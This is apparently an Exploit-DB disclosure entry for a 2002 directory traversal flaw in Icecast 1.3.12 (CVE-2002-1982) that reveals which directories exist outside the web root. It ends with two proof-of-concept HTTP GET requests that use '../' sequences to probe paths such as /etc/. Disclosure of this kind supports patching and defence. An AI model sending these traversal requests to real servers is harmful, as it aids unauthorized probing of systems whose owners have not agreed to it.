icecast server 1.3.12 - Directory Traversal information disclosure Vulnerability

ID EDB-ID:21602
Type exploitdb
Reporter glaive
Modified 2002-07-09T00:00:00


Icecast Server 1.3.12 Directory Traversal Information Disclosure Vulnerability. CVE-2002-1982. Remote exploit for linux platform


Icecast is a freely available, open source streaming audio server. Icecast is available for the Unix, Linux, and Microsoft Windows platforms.

An attacker may exploit a directory traversal vulnerability in Icecast server to determine the existance of a specified directory outside of the web root. This is a result of the server returning different HTTP results for each case.

GET /file/../../../../../../../../nonexistent/ HTTP/1.0

GET /file/../../../../../../../../etc/ HTTP/1.0